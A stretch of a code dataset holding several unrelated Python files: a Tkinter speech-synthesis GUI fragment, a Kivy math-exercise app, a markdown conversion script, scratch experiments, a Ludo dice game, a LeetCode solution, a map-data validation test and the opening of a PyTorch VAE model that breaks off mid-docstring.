outline=self.colors[self.color_index], fill=self.colors[self.color_index])\r\n self.label_cv.configure(bg=self.colors[self.color_index])\r\n\r\n if self.words_status == 0:\r\n self.label_cv_text.set(\"合成中.\")\r\n elif self.words_status == 1:\r\n self.label_cv_text.set(\"合成中..\")\r\n elif self.words_status == 2:\r\n self.label_cv_text.set(\"合成中...\")\r\n elif self.words_status == 3:\r\n self.label_cv_text.set(\"合成中....\")\r\n else:\r\n self.label_cv_text.set(\"合成中.....\")\r\n\r\n if self.word_status_0_4:\r\n self.words_status += 1\r\n else:\r\n self.words_status -= 1\r\n\r\n if self.words_status == 4:\r\n self.word_status_0_4 = False\r\n if self.words_status == 0:\r\n self.word_status_0_4 = True\r\n\r\n if self.color_status_0_86:\r\n self.color_index += 1\r\n else:\r\n self.color_index -= 1\r\n\r\n if self.color_index == 0:\r\n self.color_status_0_86 = True\r\n elif self.color_index == 86:\r\n self.color_status_0_86 = False\r\n\r\n self.after(30, self.displayColor)\r\nif __name__ == '__main__':\r\n voice = TkStart()\r\n voice.run()","repo_name":"MhyBodhi/speech_synthesis_tool","sub_path":"tkstart.py","file_name":"tkstart.py","file_ext":"py","file_size_in_byte":9781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2097458205","text":"# Used for screenshots that match size of current screenshots in GooglePlay\nif 1:\n from kivy.config import Config\n Config.set('graphics', 'width', '410')\n Config.set('graphics', 'height', '700')\n\n\nimport matplotlib\nmatplotlib.use(\"module://kivy.garden.matplotlib.backend_kivy\")\nfrom matplotlib import pyplot\nfrom kivy.garden.matplotlib import FigureCanvasKivyAgg\nfrom kivy.app import App\nfrom kivy.uix.button import Button\nfrom kivy.animation import Animation\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.label import Label as Label\nfrom kivy.properties import ObjectProperty, DictProperty, NumericProperty, BooleanProperty, ListProperty, StringProperty\nfrom kivy.storage.jsonstore import JsonStore\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.dropdown import DropDown\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.image import Image\nfrom kivy.uix.scatterlayout import ScatterLayout\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.scrollview import ScrollView\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.stacklayout import StackLayout\nfrom kivy.clock import Clock\nfrom kivy.uix.carousel import Carousel\nfrom kivy import platform\n\n\nimport arbitrary_pieces\nimport attributions\nimport exercises\nimport languages\n\n\n__version__ = '0.0.1'\n\n# TODO find appropriate name\nAPP_NAME = 'Free edu'\nSTANDARD_BUTTON_HEIGHT = '30sp'\n\n# -----------------------------------------------------------------------------------------------\nTHIRD_PARTIES_IMAGES_DIR = 'third_parties_images'\n\n\n# -----------------------------------------------------------------------------------------------\n\nBACKGROUND_COLOR = .9,.9,1,1\nBLACK_RGBA = 0,0,0,1\nGREEN_RGBA = 0,1,0,1\nBLUE_RGBA = 0,0,1,1\nRED_RGBA = 1,0,0,1\n\n\ndef boldify(txt_str):\n return '[b]{}[/b]'.format(txt_str)\n\n\n# -----------------------------------------------------------------------------------------------\nclass MyProgressBar(Widget):\n DEFAULT_FILLED_COLOR = 0,1,0,1\n DEFAULT_EMPTY_COLOR = 1,0,0,1\n filled_color = ListProperty(DEFAULT_FILLED_COLOR)\n empty_color = ListProperty(DEFAULT_EMPTY_COLOR)\n filled_ratio = NumericProperty(.01)\n empty_ratio = NumericProperty(.01)\n\n\n# Class code below (including the corresponding in .kv file)\n# by Alexander Taylor (MIT license)\n# from https://github.com/kivy/kivy/wiki/Scrollable-Label\nclass ConfinedTextLabel(Label):\n pass\n\n\nclass ScrollLabel(ScrollView):\n pass\n\n\nclass AttributionsBox(BoxLayout):\n # TODO: Grid buttons need to maintain ratio, without resorting to fixed size.\n def __init__(self, **kwargs):\n super(AttributionsBox, self).__init__(orientation='vertical', **kwargs)\n self.add_widget(Label(text='Attributions', size_hint_y=.2, bold=True))\n self.grid = GridLayout(cols=3)\n self.add_widget(self.grid)\n self.populate_grid()\n self.popup = Popup(title='', size_hint=[.9, .7], separator_color=(0, 0, 0, 0))\n self.popup_image = Image(source='')\n self.popup_text_label = ScrollLabel(text='')\n box = BoxLayout(orientation='vertical')\n box.add_widget(self.popup_image)\n box.add_widget(self.popup_text_label)\n self.popup.add_widget(box)\n\n @staticmethod\n def third_parties_image_path(im_name):\n return '/'.join([THIRD_PARTIES_IMAGES_DIR, im_name])\n\n def populate_grid(self):\n for im_name, citation_obj in attributions.FIRST_IMAGE_TO_CITATION_MAP.items():\n im_path = self.third_parties_image_path(im_name=im_name)\n b = Button(background_normal=im_path, size_hint=(None, None), width='50sp', height='50sp')\n b.image_name = im_name\n b.image_text = citation_obj.full_text()\n b.bind(on_release=self.update_popup_and_open)\n self.grid.add_widget(b)\n\n def update_popup_and_open(self, *args):\n im_name = args[0].image_name\n self.popup_image.source = self.third_parties_image_path(im_name=im_name)\n self.popup_text_label.text = args[0].image_text\n self.popup.open()\n\n\nclass PaintedLabel(Label):\n pass\n\n\nclass VBoxLayout(BoxLayout):\n def __init__(self, **kwargs):\n super(VBoxLayout, self).__init__(orientation='vertical', **kwargs)\n\n\n# -----------------------------------------------------------------------------------------------\n_INITIAL_EXERCISE = exercises.SolveForXLinear(difficulty=2)\n\n\nclass LatexWidget(BoxLayout):\n text = StringProperty('')\n\n def __init__(self, **kwargs):\n self.scatterlayout = ScatterLayout(do_rotation=False, do_translation_y=False)\n super(LatexWidget, self).__init__(**kwargs)\n self.add_widget(self.scatterlayout)\n\n @staticmethod\n def latex_image(latex_str):\n fig, ax = pyplot.subplots()\n ax.axis('off')\n ax.text(.5, .5, latex_str,\n size=20,\n horizontalalignment='center', verticalalignment='center',\n bbox={})\n return FigureCanvasKivyAgg(fig)\n\n def on_text(self, *args):\n if self.scatterlayout.children:\n self.remove_widget(self.scatterlayout.children[0])\n im = LatexWidget.latex_image(self.text)\n self.scatterlayout.add_widget(im)\n\n\nclass LicensesWidget(BoxLayout):\n POPUP_TITLE_SIZE = '20sp'\n\n def __init__(self, **kwargs):\n super(LicensesWidget, self).__init__(orientation='vertical', **kwargs)\n self.popup = Popup(size_hint=(.9, .7), title_size=self.POPUP_TITLE_SIZE)\n self.popup_content = ScrollLabel()\n self.popup.add_widget(self.popup_content)\n self.populate_widg()\n\n def populate_widg(self):\n self.add_widget(Label(text=boldify('Licenses'), font_size=self.POPUP_TITLE_SIZE, size_hint_y=None, height='40sp'))\n from about_module import LICENSES_DCT\n for _name, licence in LICENSES_DCT.items():\n name = _name.capitalize()\n b = Button(text=name, bold=True, size_hint_y=None, height=STANDARD_BUTTON_HEIGHT)\n b.popup_title = name\n b.license_txt = licence\n b.bind(on_release=self.on_button_release)\n self.add_widget(b)\n\n def on_button_release(self, btn):\n self.popup.title = boldify(txt_str=btn.popup_title)\n self.popup_content.text = btn.license_txt\n self.popup.open()\n\n\nANSWER_KEY_EQUALS = '{}='\n\n\nclass AnswersInputBox(BoxLayout):\n exercise = ObjectProperty()\n answers_given = DictProperty()\n\n def __init__(self, **kwargs):\n super(AnswersInputBox, self).__init__(**kwargs)\n self.textinputs_box = BoxLayout(orientation='vertical', padding='3sp')\n self.textinputs_lst = []\n self.add_widget(self.textinputs_box)\n self.specials_buttons_box = BoxLayout(orientation='vertical', size_hint_x=.3)\n self.add_widget(self.specials_buttons_box)\n Clock.schedule_once(self.populate_textinputs_box, .5)\n Clock.schedule_once(self.populate_specials_buttons_box, .5)\n\n def set_input_text_to_answer(self, *args):\n obj = args[0]\n self.answers_given[obj.answer_name] = obj.text\n\n def populate_textinputs_box(self, *args):\n self.textinputs_box.clear_widgets()\n self.textinputs_lst = []\n for answer_name in self.exercise.expected_answers:\n box = BoxLayout(size_hint_y=None, height=STANDARD_BUTTON_HEIGHT)\n self.textinputs_box.add_widget(box)\n\n label_text = ANSWER_KEY_EQUALS.format(answer_name)\n box.add_widget(Label(text=label_text, size_hint_x=.2))\n\n t_input = TextInput(hint_text=languages.TYPE_ANSWER_PROMPT_MSG, multiline=False)\n t_input.answer_name = answer_name\n t_input.bind(text=self.set_input_text_to_answer)\n box.add_widget(t_input)\n self.textinputs_lst.append(t_input)\n\n def set_special_answer_to_answers(self, *args):\n obj = args[0]\n # (text must be changed first otherwise answers will change twice `on_text`)\n for i in self.textinputs_lst:\n i.text = ''\n for a in self.answers_given:\n self.answers_given[a] = obj.special_val_\n\n def populate_specials_buttons_box(self, *args):\n self.specials_buttons_box.clear_widgets()\n for a_class in self.exercise.special_answers_allowed:\n b = Button(text=a_class.button_text,\n size_hint_y=None, height=STANDARD_BUTTON_HEIGHT)\n b.special_val_ = a_class\n b.bind(on_release=self.set_special_answer_to_answers)\n self.specials_buttons_box.add_widget(b)\n\n def populate_everything(self, *args):\n self.populate_textinputs_box()\n self.populate_specials_buttons_box()\n\n def on_exercise(self, *args):\n self.populate_everything()\n\n\nclass UserReactionToRevealedAnswersBox(BoxLayout):\n pass\n\n\nclass RevealedAnswersBox(BoxLayout):\n expected_answers_in_latex = DictProperty({'x_placeholder': 'placeholder'})\n reveal_button = ObjectProperty()\n answers_input_box = ObjectProperty()\n check_answers_button = ObjectProperty()\n\n def __init__(self, **kwargs):\n super(RevealedAnswersBox, self).__init__(**kwargs)\n self.latex_widg = LatexWidget()\n self.special_answer_label = Label()\n self.main_content_box = BoxLayout(orientation='vertical')\n self.main_content_box.add_widget(Label(text=languages.CORRECT_ANSWER_IS_MSG))\n self.main_label_box = BoxLayout()\n self.main_content_box.add_widget(self.main_label_box)\n\n self.user_reaction_options_box = UserReactionToRevealedAnswersBox()\n self.user_reaction_options_box.ids.ok_button.bind(on_release=self.on_ok_button_release)\n self.main_content_box.add_widget(self.user_reaction_options_box)\n\n def _main_label(self):\n special_found = set(arbitrary_pieces.SPECIAL_ANSWERS_TYPES) & set(self.expected_answers_in_latex.values())\n if special_found:\n w = self.special_answer_label\n w.text = list(special_found)[0].long_description\n else:\n w = self.latex_widg\n w.text = self.all_answers_as_latex_str()\n return w\n\n def create_main_label(self, *args):\n self.main_label_box.clear_widgets()\n self.main_label_box.add_widget(self._main_label())\n\n def show_main_content(self, *args):\n self.clear_widgets()\n self.create_main_label()\n self.add_widget(self.main_content_box)\n\n def all_answers_as_latex_str(self):\n non_latex_s = ''\n for a_name in sorted(self.expected_answers_in_latex):\n a_val = self.expected_answers_in_latex[a_name]\n # (simply places \"z=\" at the start;\n # different type of answers would need different implementation elsewhere too)\n if non_latex_s:\n non_latex_s += ', '\n non_latex_s += ANSWER_KEY_EQUALS.format(a_name) + r'{}'.format(a_val.strip('$'))\n return '${}$'.format(non_latex_s)\n\n def on_ok_button_release(self, *args):\n self.clear_widgets()\n self.add_widget(Label())\n self.reveal_button.disabled = False\n self.check_answers_button.disabled = False\n self.answers_input_box.disabled = False\n app.root.exercise = exercises.SolveForXLinear(difficulty=2)\n\n\nclass MainWidget(Carousel):\n exercise = ObjectProperty()\n question_in_latex = ObjectProperty()\n\n def __init__(self, **kwargs):\n super(MainWidget, self).__init__(**kwargs)\n\n\nclass PreciousMathApp(App):\n\n def build(self):\n return MainWidget()\n\n\nif __name__ == '__main__':\n\n try:\n import IGNORE_BUILD_ensure_images_cited\n except ImportError:\n pass\n\n app = PreciousMathApp()\n app.run()\n","repo_name":"FermiParadox/ipy_student_exercises","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73057663121","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*- \n\nimport sys\nimport os\n\nif len(sys.argv) != 2:\n\tprint(\"ERROR: wrong number of arguements.\")\n\tprint(\"usage: python mdown2html_outline [directory]\")\n\texit(1)\nelse:\n\tdirectory = os.path.abspath(sys.argv[1])\n\nfrom update_html import update_html\nfrom create_outline import create_outline\n\nscript_directory = os.path.dirname(os.path.abspath(__file__))\nhtml_style_file = os.path.join(script_directory, \"styles/html.style\")\noutline_style_file = os.path.join(script_directory,\"styles/outline.style\")\n\nupdate_html(directory, html_style_file)\ncreate_outline(directory, outline_style_file)","repo_name":"ssurmund/mdown2html-outline","sub_path":"mdown2html_outline.py","file_name":"mdown2html_outline.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29520445403","text":"#coding=utf-8\n\nimport datetime\nimport time\n\n# now=datetime.datetime.now()\n# # print(now)\n# delta=datetime.timedelta(hours=3)\n# # print(delta)\n# n_days=now+delta\n# time_arr = n_days.strftime('%Y-%m-%d %H:%M:%S')\n#\n# timestamp = int(time.mktime(time_arr))\n# print(timestamp)\n\n\n\nfrom lxml import etree\nimport requests\n# res=requests.get('http://www.w3school.com.cn/')\n# tree=etree.HTML(res.content)\n# div=tree.xpath('//div[@id=\"d1\"]')[0]\n# div_str=etree.tostring(div,encoding='utf-8')\n# print(div_str)\n\n\n\n\n# url = \"https://www.gelonghui.com/news/473812\"\n# res = requests.get(url)\n# print(res)\n# tree = etree.HTML(res.content)\n# div = tree.xpath('//article[@class=\"main-news article-with-html\"]')[0]\n# print(div)\n# div_str = etree.tostring(div, encoding='utf-8')\n# print(div_str)\n\n\n\n\n# from lxml import etree\n# import requests\n#\n# res=requests.get('http://www.w3school.com.cn/')\n# tree=etree.HTML(res.content)\n# print(tree)\n# div=tree.xpath('//div[@id=\"d1\"]')[0]\n# div_str=etree.tostring(div,encoding='utf-8')\n# print(div_str)\n\n\n\n\n# import json\n# # filename = \"./base_channel.txt\"\n# # f_obj = open(filename,'r',encoding='utf-8')\n# # base_channel = json.load(f_obj)\n# # print(base_channel)\n#\n# with open('./base_channel.json','r',encoding='utf-8') as fp:\n# strF = fp.read()\n# json_data = json.loads(strF)\n# print(fp)\n\n# __author__ = 'Administrator'\n#-*- coding: utf-8 -*-\n\n\n\n# import hashlib\n# aa = '123456' #需要加密的字符串\n# def md5Encode(str):\n# m = hashlib.md5() # 创建md5对象\n# m.update(str) # 传入需要加密的字符串进行MD5加密\n# return m.hexdigest() # 获取到经过MD5加密的字符串并返回\n# bb = md5Encode(aa.encode('utf-8')) # 必须先进行转码，否则会报错\n# print(bb)\n\n\n# from pymongo import MongoClient\n# client = MongoClient(host='127.0.0.1',port=27021)\n# db = client.blog_database\n# collection = db.blog\n# all={'a':'1',\n# 'b':'2'\n# }\n# collection.insert_one(all)\n\n\n#\n# base_chanel_list = []\nimport pymongo\n# import pandas as pd\n# # 连接数据库\n# client = pymongo.MongoClient('localhost', 27017)\n# mdb = client['pharmcube']\n# table = mdb['classification_cpc']\n# all={'a':'1',\n# 'b':'2'\n# }\n# table.insert(all)\n#\n# # 读取数据\n# data = pd.DataFrame(list(table.find()))\n# print(data)\n# # 选择需要显示的字段\n# data = data['keywords']\n#\n# # 打印输出\n# print(data)\n# industry_news_type = [\"获批上市\",\"通过一致性评价\",\"突破性疗法\",\"纳入优先审评\",\"首仿获批\",\"申报临床\",\"获批临床\",\"启动I期临床\",\"启动II期临床\",\"启动III期临床\",\n# \"收购\",\"受让\",\"并购\",\"交易\",\"转让\",\"融资\",\"领投\",\"跟投\",\"A轮\",\"B轮\",\"C轮\",\"D轮\",\"E轮\",\"本轮\",\"天使轮\",\"筹集\",\"科创板\",\"IPO\",\n# \"靶点\",\"通路\",\"综述\",\"介导\",\"新疗法\"\n# ]\n\n# import re\n#\n# aa = '港股收盘|恒指收跌2.55%再失三万点 百奥家庭互动逆市涨超40%'\n# bb = '智通AH统计|1月26日'\n# cc = '智通财经APP获悉，1月26日美股盘前，诺华制药(NVS.US)公布2020年第四季度业绩和2020财年业绩。，高于销售额。'\n#\n# ee = aa[aa.find('|'):]\n# print(ee)\n# # re.findall('[\\u4e00-\\u9fa5a-zA-Z0-9]+',ee,re.S)\n# ee = re.sub('u\"([^\\u4e00-\\u9fa5\\u0030-\\u0039\\u0041-\\u005a\\u0061-\\u007a])\"',\"\",ee)\n# print(ee)\n#\n# dd = cc[:cc.find(','[0])]\n# print(dd)\n\n\n\n# aa = '昨天23:30'\n# if '昨天' in aa:\n# c = aa[2:4]\n# c = int(24) - int(c)\n# print(c)\n\n# aa = \"2021年1月29日 11:31:04\"\n# aa.replace()\n# print(aa)\n# timeArray = time.strptime(aa,\"%Y-%m-%d %H:%M:%S\")\n# timeStamp = int(time.mktime(timeArray))\n# print(timeStamp)\nfrom apscheduler.schedulers.background import BackgroundScheduler\nscheduler = BackgroundScheduler()\n\n\n# while True:\n# n = 0\n# for keyword in a:\n# for type in b:\n# if keyword in c:\n# n += 1\n# if n == 1:\n# print(1111)\n# if type in c:\n# if n == 2:\n# print(2222)\n# else:\n# print(222222)\n# print(333333333)\n# print(4444444444)\n# a = [1,2,3,3]\n# b = [3,4,5,6]\n# c = [2,3,4,3]\n#\n# # cc_break = False\n# dd_break = False\n# for keyword in a:\n# if keyword not in c:\n# continue\n# dd_break = True\n# for type_temp in a:\n# if type_temp not in c:\n# continue\n# # cc_break = True\n# break\n# break\n# if dd_break:\n# print('okokokokokokok')\n# else:\n# print('cccccccccccccc')\n\n\ndica = {'a': 2, 'b': 2, 'c': 3, 'd': 2, 'f': \"hello\",'aa': 1, 'bb': 1, 'cc': 3, 'dd': 2, 'ff': \"hello\"}\ndicb = {'b': 4, 'd': 4, 'e': 7, 'm': 9, 'k': 'world','bb': 3, 'dd': 4, 'ee': 7, 'mm': 9, 'kk': 'world'}\ndicc = {'b': {'valid_from_data': 1356969600, 'valid_to_data': 1234567890}, 'e': 6, 'a': 7, 'm': 9, 'k': 'world','bb': {'valid_from_data': 1356969600, 'valid_to_data': ''}, 'ee': 6, 'aa': 7, 'mm': 9, 'kk': 'world'}\n\nab = {}\nfor key in dicb:\n # print(key)\n if dica.get(key):\n ab[key] = dicb[key]\nprint(ab)\nac = {}\nfor keys in dicc:\n # print(keys)\n if dica.get(keys):\n ac[keys] = dicc[keys]\nprint(ac)\nbc = {}\nfor i in ab:\n if ac.get(i):\n bc[i] = ab[i]\nprint(bc)\nfor i in bc:\n a = dica[i]\n b = dicb[i]\n c = dicc[i]['valid_from_data']\n d = dicc[i]['valid_to_data']\n print(i)\n print(a)\n print(b)\n print(c)\n print(d)\n\n# cpc_scheme_dict = {}\n# title_dict = {}\n# validity_dict = {}\n#\n# scheme_title = {}\n# for key in title_dict:\n# # print(key)\n# if cpc_scheme_dict.get(key):\n# scheme_title[key] = title_dict[key]\n# print(scheme_title)\n#\n# scheme_validity = {}\n# for keys in validity_dict:\n# if cpc_scheme_dict.get(keys):\n# scheme_validity[keys] = validity_dict[keys]\n# print(scheme_validity)\n#\n# title_validity = {}\n# for i in scheme_title:\n# if scheme_validity.get(i):\n# title_validity[i] = scheme_title[i]\n# print(title_validity)\n#\n# for cpc_no in title_validity:\n# leval = cpc_scheme_dict[cpc_no]\n# definition_en = title_dict[cpc_no]\n# valid_from_date = validity_dict[cpc_no]['valid_from_data']\n# valid_to_date = validity_dict[cpc_no]['valid_to_data']\n# def md5Encode(str):\n# m = hashlib.md5() # 创建md5对象\n# m.update(str) # 传入需要加密的字符串进行MD5加密\n# return m.hexdigest() # 获取到经过MD5加密的字符串并返回\n# esid = md5Encode(cpc_no.encode('utf-8')) # 必须先进行转码，否则会报错\n#\n# all_dict = {}\n# all_dict[\"esid\"] = esid\n# all_dict[\"cpc_no\"] = cpc_no\n# all_dict[\"leval\"] = leval\n# all_dict[\"definition_en\"] = definition_en\n# all_dict[\"valid_from_date\"] = valid_from_date\n# all_dict[\"valid_to_date\"] = valid_to_date\n# table.insert(all_dict)\n# print(cpc_no,leval,definition_en,valid_from_date,valid_to_date)\n\n\n","repo_name":"cckmit/feature-shijin","sub_path":"shijin/project/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":6875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32736165386","text":"from random import *\n\n\"\"\"\nThis is the backend code for the game of Ludo\n\"\"\" \ndef roll_dice(player_name):\n \n n = 1\n dice_total = 0\n dice1 = randrange(1, 7)\n dice2 = randrange(1, 7)\n\n dice_total += dice1 + dice2\n print(\"%s rolled\"%player_name + \" [%d, %d]\"%(dice1, dice2))\n while dice1 == 6 and dice2 == 6:\n n += 1\n dice1 = randrange(1, 7)\n dice2 = randrange(1, 7) \n dice_total += dice1 + dice2\n print(\"%s rolled \"%player_name + \"[%d, %d]\"%(dice1, dice2), n, \"times\") \n \n return dice_total\n \ndef welcome():\n \"\"\"\n Prints the welcome message\n Return:\n a string\n \"\"\"\n print(\"Welcome to the game of Ludo\")\n option = input(\"Play against computer(C) or opponent(O)\\n ***Choose corresponsing letter***:\")\n while option not in ['C', 'O']:\n option = input(\"Play against computer(C) or opponent(O)\\n ***Choose corresponsing letter***:\")\n return option\n\n\ndef no_players():\n \"\"\"\n Asks for the total number of players and validates the value\n Returns the number of players\n \"\"\"\n no_players = input(\"Enter the number of players: \") \n while no_players.isdigit() is False:\n no_players = input(\"Enter a valid number from 1 - 4: \")\n \n return int(no_players)\n\ndef player_names(no_players):\n \"\"\"\n Generatesan input for names of players based on the number\n\n Args:\n no_players (str): The number of players\n \"\"\"\n names = []\n for number in range(1, no_players + 1):\n name = input(\"Enter player %d's name: \"%(number))\n names.append(name)\n \n return names \n\n \ndef house(player_names):\n \"\"\"\n Players choose their caste(Red, Blue, green or Yellow)\n Args:\n player_names(list): A list of all player names\n \"\"\"\n players_houses = {}\n print(\"Available houses: red, yellow, green, blue\")\n for player_name in player_names:\n choice = input(\"Which house does %s choose: \"%(player_name))\n choice.lower()\n while choice not in [\"red\", \"yellow\", \"blue\", \"green\"]:\n print(\"Available houses: red, yellow, green, blue\")\n choice = input(\"Please enter an appropriate house: \")\n choice.lower()\n players_houses[\"%s\" %player_name] = choice\n \n return players_houses\n\n \n \n\ndef dice():\n \"\"\"\n Simulates two dice which can be rolled to generate random values\n Returns a list with both dice values\n \"\"\"\n \n\n \nif __name__ == \"__main__\":\n \n option = welcome()#prints welcome message explaining game\n if welcome == \"C\":\n player_steps = 0\n computer_steps = 0\n names = player_names(1)\n names.append(\"Computer\")\n \n \n number_players = no_players()\n #create individual sums to total dice values inorder to count steps\n \n if number_players != \"0\":\n \n player_names(number_players)\n ","repo_name":"kmb21/MiniProjects","sub_path":"Ludo/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35445119131","text":"\"\"\"You are given row x col grid representing a map where grid[i][j] = 1\nrepresents land and grid[i][j] = 0 represents water.\nGrid cells are connected horizontally/vertically (not diagonally). The grid is\ncompletely surrounded by water, and there is exactly one island (i.e., one or\nmore connected land cells).\n\nThe island doesn't have \"lakes\", meaning the water inside isn't connected to\nthe water around the island. One cell is a square with side length 1. The grid\nis rectangular, width and height don't exceed 100. Determine the perimeter of\nthe island.\n\nExample 1:\nInput: grid = [[0,1,0,0],[1,1,1,0],[0,1,0,0],[1,1,0,0]]\nOutput: 16\nExplanation: The perimeter is the 16 yellow stripes in the image above.\n\nExample 2:\nInput: grid = [[1]]\nOutput: 4\n\nExample 3:\nInput: grid = [[1,0]]\nOutput: 4\n\nConstraints:\n\nrow == grid.length\ncol == grid[i].length\n1 <= row, col <= 100\ngrid[i][j] is 0 or 1.\nThere is exactly one island in grid.\"\"\"\nfrom typing import List\n\n\nclass Solution:\n @staticmethod\n def island_perimeter_brutal_force(grid: List[List[int]]) -> int:\n perimeter = 0\n for index_list, items_list in enumerate(grid):\n for index_item, item in enumerate(items_list):\n if item == 1:\n add_sum = 4\n if index_list != 0:\n if grid[index_list - 1][index_item] == 1:\n add_sum -= 1\n if index_list + 1 < len(grid):\n if grid[index_list + 1][index_item] == 1:\n add_sum -= 1\n if index_item != 0:\n if items_list[index_item - 1] == 1:\n add_sum -= 1\n if index_item + 1 < len(items_list):\n if items_list[index_item + 1] == 1:\n add_sum -= 1\n perimeter += add_sum\n return perimeter\n\n @staticmethod\n def island_perimeter(grid):\n area = 0\n for row in grid + list(map(list, zip(*grid))):\n for i1, i2 in zip([0] + row, row + [0]):\n area += int(i1 != i2)\n return area\n\n\nprint(Solution.island_perimeter(\n [[0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 0, 0], [1, 1, 0, 0]])\n)\n","repo_name":"konmin123/Leetcode_","sub_path":"463. Island Perimeter.py","file_name":"463. Island Perimeter.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29254051927","text":"import pytest\nimport json\n\nfrom maps.libs.ymapsdf.py.schema import YmapsdfSchema\n\nfrom maps.garden.sdk.core import DataValidationWarning, Version\nfrom maps.garden.sdk.resources import FlagResource\nfrom maps.garden.sdk.yt.yt_table import YtTableResource\n\nfrom maps.garden.modules.ymapsdf_osm import defs\nfrom maps.garden.modules.ymapsdf_osm.lib.constants import YmapsdfTable\nfrom maps.garden.modules.ymapsdf_osm.lib.validation.locality import ValidateLocality\n\n\nTEST_LOCALITY_GOOD = [\n {\n \"ad_id\": 1, \"capital\": 1,\n \"town\": False, \"population_is_approximated\": False, \"municipality\": False, \"informal\": False\n },\n {\n \"ad_id\": 10, \"capital\": 2, # will be ignored, because not the capital\n \"town\": False, \"population_is_approximated\": False, \"municipality\": False, \"informal\": False\n },\n]\n\nTEST_LOCALITY_EXTRA = [\n {\n \"ad_id\": 1, \"capital\": 1,\n \"town\": False, \"population_is_approximated\": False, \"municipality\": False, \"informal\": False\n },\n {\n \"ad_id\": 2, \"capital\": 1, # extra country capital for cis1 region\n \"town\": False, \"population_is_approximated\": False, \"municipality\": False, \"informal\": False\n },\n {\n \"ad_id\": 10, \"capital\": 2, # will be ignored, because not the capital\n \"town\": False, \"population_is_approximated\": False, \"municipality\": False, \"informal\": False\n },\n]\n\nTEST_AD = [\n {\"ad_id\": 1, \"level_kind\": 2, \"disp_class\": 5, \"isocode\": \"RU\"},\n {\"ad_id\": 2, \"level_kind\": 2, \"disp_class\": 5, \"isocode\": \"GB\"}, # extra country for cis1 region\n {\"ad_id\": 10, \"level_kind\": 2, \"disp_class\": 5, \"isocode\": \"RU\"},\n]\n\nTEST_REGIONS = {\n \"cis1\": {\n \"included_countries\": [\"RU\"],\n },\n \"eu3\": {\n \"included_countries\": [\"GB\"],\n },\n}\n\n\n@pytest.mark.use_local_yt(\"hahn\")\ndef test_capitals_completeness(mocker, test_task_executor, environment_settings):\n input_ad = YtTableResource(\n name=\"ad\",\n path_template=\"\",\n server=\"hahn\",\n key_columns=[\"ad_id\"],\n schema=YmapsdfSchema.for_table(YmapsdfTable.AD).make_yt_schema(sorted=True)\n )\n input_locality = YtTableResource(\n name=\"locality\",\n path_template=\"\",\n server=\"hahn\",\n key_columns=[\"ad_id\"],\n schema=YmapsdfSchema.for_table(YmapsdfTable.LOCALITY).make_yt_schema(sorted=True)\n )\n input_ad.version = Version(\n properties={\n \"region\": \"cis1\",\n \"vendor\": \"osm\",\n \"shipping_date\": \"20220324\"\n }\n )\n input_locality.version = input_ad.version\n\n input_ad.load_environment_settings(environment_settings)\n input_locality.load_environment_settings(environment_settings)\n\n input_ad.write_table(TEST_AD)\n input_locality.write_table(TEST_LOCALITY_GOOD)\n\n output_resource = FlagResource(\n name=defs.YMAPSDF_OSM.resource_name(\"locality_validated\")\n )\n\n def execute_task():\n test_task_executor.execute_task(\n task=ValidateLocality(),\n input_resources={\n \"ad\": input_ad,\n \"locality\": input_locality,\n },\n output_resources={\n \"output_flag\": output_resource\n }\n )\n\n with pytest.raises(DataValidationWarning):\n execute_task()\n\n mocker.patch(\n \"maps.garden.modules.ymapsdf_osm.lib.validation.locality.resource.find\",\n lambda _: json.dumps(TEST_REGIONS)\n )\n execute_task()\n\n input_locality.write_table(TEST_LOCALITY_EXTRA)\n with pytest.raises(DataValidationWarning):\n execute_task()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/tasks/test_locality_validation.py","file_name":"test_locality_validation.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19500870591","text":"\"\"\"VAE model\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Model(nn.Module):\n def __init__(self, latent_dim, device):\n \"\"\"Initialize a VAE.\n\n Args:\n latent_dim: dimension of embedding\n device: run on cpu or gpu\n \"\"\"\n super(Model, self).__init__()\n self.device = device\n self.latent_dim = latent_dim\n self.encoder = nn.Sequential(\n nn.Conv2d(1, 32, 4, 1, 2), # B, 32, 28, 28\n nn.ReLU(True),\n nn.Conv2d(32, 32, 4, 2, 1), # B, 32, 14, 14\n nn.ReLU(True),\n nn.Conv2d(32, 64, 4, 2, 1), # B, 64, 7, 7\n nn.Flatten(1),\n )\n\n self.mu = nn.Linear(64 * 7 * 7, latent_dim)\n self.logvar = nn.Linear(64 * 7 * 7, latent_dim)\n\n self.decoder = nn.Sequential(\n nn.Linear(latent_dim, 64 * 7 * 7),\n nn.Unflatten(1, (64, 7, 7)),\n nn.ConvTranspose2d(64, 32, 4, 2, 1), # B, 64, 14, 14\n nn.ReLU(True),\n nn.ConvTranspose2d(32, 32, 4, 2, 1, 1), # B, 32, 28, 28\n nn.ReLU(True),\n nn.ConvTranspose2d(32, 1, 4, 1, 2), # B, 1, 28, 28\n nn.Sigmoid()\n )\n\n def sample(self, sample_size, mu=None, logvar=None):\n '''\n :param sample_size: Number of 